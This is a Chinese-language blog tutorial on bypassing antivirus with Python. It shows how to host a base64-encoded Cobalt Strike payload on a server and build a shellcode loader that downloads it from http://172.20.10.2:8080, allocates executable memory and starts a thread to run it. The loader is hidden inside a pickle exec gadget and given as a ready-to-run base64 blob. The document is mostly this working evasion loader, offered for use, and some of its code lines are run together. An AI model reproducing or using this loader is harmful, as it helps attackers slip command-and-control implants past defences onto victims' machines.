0xx0前言

利用python进行bypass

文笔不好大家凑合着看把！！

0xx1开整

首先我们得用cobaltstrike生成一个python脚本的payload

原创 | BypassAv小技巧

然后复制里面的payload进行Base64编码

原创 | BypassAv小技巧

第二步把刚刚生成的Base64丢到服务器里面进行访问

原创 | BypassAv小技巧

能看到这个就说明没错
然后下一步把地址复制进行反序列化(重要！！)

import base64
shellcode = """import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://172.20.10.2:8080/1111.txt').read()shellcode = base64.b64decode(shellcode)shellcode =codecs.escape_decode(shellcode)[0]shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(    ctypes.c_uint64(ptr),     buf,     ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode防止位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(    ctypes.c_int(0),     ctypes.c_int(0),     ctypes.c_uint64(ptr),     ctypes.c_int(0),     ctypes.c_int(0),     ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""

class A(object):    def __reduce__(self):        return (exec, (shellcode,))

ret = pickle.dumps(A())ret_base64 = base64.b64encode(ret)print(ret_base64)#ret_decode = base64.b64decode(ret_base64)

原创 | BypassAv小技巧

只需要把地址添加到红框里面即可然后运行

原创 | BypassAv小技巧

运行之后我们会得到下面的反序列化的

原创 | BypassAv小技巧

我们把这串代码复制到此脚本进行生成

import base64,pickle,ctypes,urllib.requestshellcode =b'gANjYnVpbHRpbnMKZXhlYwpxAFg1BAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAoKc2hlbGxjb2RlID0gdXJsbGliLnJlcXVlc3QudXJsb3BlbignaHR0cDovLzE3Mi4yMC4xMC4yOjgwODAvMTExMS50eHQnKS5yZWFkKCkKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShzaGVsbGNvZGUpCnNoZWxsY29kZSA9Y29kZWNzLmVzY2FwZV9kZWNvZGUoc2hlbGxjb2RlKVswXQpzaGVsbGNvZGUgPSBieXRlYXJyYXkoc2hlbGxjb2RlKQojIOiuvue9rlZpcnR1YWxBbGxvY+i/lOWbnuexu+Wei+S4umN0eXBlcy5jX3VpbnQ2NApjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYy5yZXN0eXBlID0gY3R5cGVzLmNfdWludDY0CiMg55Sz6K+35YaF5a2YCnB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksIGN0eXBlcy5jX2ludCgweDQwKSkKCiMg5pS+5YWlc2hlbGxjb2RlCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQojIOWIm+W7uuS4gOS4que6v+eoi+S7jnNoZWxsY29kZemYsuatouS9jee9rummluWcsOWdgOW8gOWni+aJp+ihjApoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKIyDnrYnlvoXkuIrpnaLliJvlu7rnmoTnur/nqIvov5DooYzlrowKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpcQGFcQJScQMu'pickle.loads(base64.b64decode(shellcode))

然后点击运行你会发现在cs里面成功上线了一台机器

原创 | BypassAv小技巧